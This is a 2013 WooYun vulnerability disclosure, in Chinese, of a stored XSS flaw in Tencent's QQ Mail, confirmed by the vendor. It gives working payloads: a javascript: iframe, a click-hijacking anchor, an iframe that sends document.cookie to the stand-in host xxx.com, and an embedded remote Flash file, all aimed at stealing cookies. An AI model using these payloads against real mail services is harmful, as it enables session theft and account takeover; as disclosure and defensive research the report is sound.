当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-037371

漏洞标题:QQ邮箱鸡肋存储型XSS漏洞的完美利用

相关厂商:腾讯

漏洞作者: idi0t

提交时间:2013-09-17 14:24

修复时间:2013-11-01 14:24

公开时间:2013-11-01 14:24

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-17: 细节已通知厂商并且等待厂商处理中
2013-09-17: 厂商已经确认,细节仅向厂商公开
2013-09-27: 细节向核心白帽子及相关领域专家公开
2013-10-07: 细节向普通白帽子公开
2013-10-17: 细节向实习白帽子公开
2013-11-01: 细节向公众公开

简要描述:

QQ邮箱对于一些标签过滤不严格,可构造恶意脚本进行攻击,并可盗取cookie.

详细说明:

详细说明就说说这漏洞的偶然发现过程吧。
小白初学,如有错请多包涵,缘起想在乌云注册个ID,无奈要邀请码,上天眷顾,偶然降一小洞,先向一些前辈说声谢谢,都是向你们学的。现学现卖了。
一、要通过邮件进行攻击首先分析在哪里可以查看邮件.
如图1

xss_1.png


1.在打开邮件时的界面
2.查看邮件原文(不过邮件内容是base64编码的,但包含了你用html方式写的邮件的原文,也就是未过滤过的)
3.邮件有乱码,也就是漏洞所在页面了
4.还有木有还没在意- -!
二、发现漏洞页面
在写邮件时,使用html方式写,我想很多人认为在邮件发送的时候被过滤了(其实原文还在,只是邮件显示的时候才被过滤掉的)。
如向对方发送

<iframe src="javascript:alert(/Hello World/);"></iframe>


当目标接收并打开邮件时,在点击"邮件有乱码"打开的页面时,神奇的弹窗出现了,说明src没被过滤掉。
三,漏洞触发场景
一般人是不会去点击"邮件有乱码"这连接的,但我们可以通过css的属性劫持持onclik实现。
我们随意在邮件里添加一张空间的图片(空间图片不会被屏蔽)或者一个连接,在图片或连接的属性里加上"邮件有乱码"这连接的属性,如

<a href="http://xxx.com/" ck="optMail2" opt="code" ></a>


当点击这个连接或者带有ck="optMail2" opt="code"属性的图片时,就相当于点击了"邮件有乱码",就会打开邮件有乱码这个页面。
四,漏洞利用
刚发现这洞时,觉得有点鸡肋,那接下来就让这鸡肋变成肌肉。
目标:获取cookie
iframe 在chrome下可以直接通过get的方式直接将cookie发给某个页面,如

<iframe src="javascript:img = new Image(); img.src = 'http://xxx.com/getcookie.php?'+document.cookie;"></iframe>


但在IE下iframe是禁止跨域的,怎么办呢?当然就是想到非标准的<embed>标签了。
我们用embed标签加入flash如下:

<EMBED type=application/x-shockwave-flash src=http://xxx.com/xss.swf allowscriptaccess="always">


结果在邮件显示界面,都会被狠狠的加上
(invokeurls="false" allownetworking="none" allowscriptaccess="never")这些属性,
百密一疏,但在点击"邮件有乱码"打开的页面依然没有被过滤掉,原来什么样,还是什么样
alway,alway here。
所以当我们点击"邮件有乱码"的连接时,显示的内容是从邮件原文取出并重新过滤的。
注意:实验时千万不要自做聪明的加一些 onerror什么的,会触发一些过滤机制吧,那样src也会被过滤掉。
这样就可以通过我们的恶意flash在IE浏览器下进行跨域操作了,通过flash获取cookie什么的就得通过想象力了,
关于flash的代码不在重点,略过。

漏洞证明:

xss_result.png

修复方案:

防止css属性劫持并过滤掉该过滤的。

版权声明:转载请注明来源 idi0t@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-09-17 16:57

厂商回复:

感谢反馈,我们正在跟进处理中

最新状态:

暂无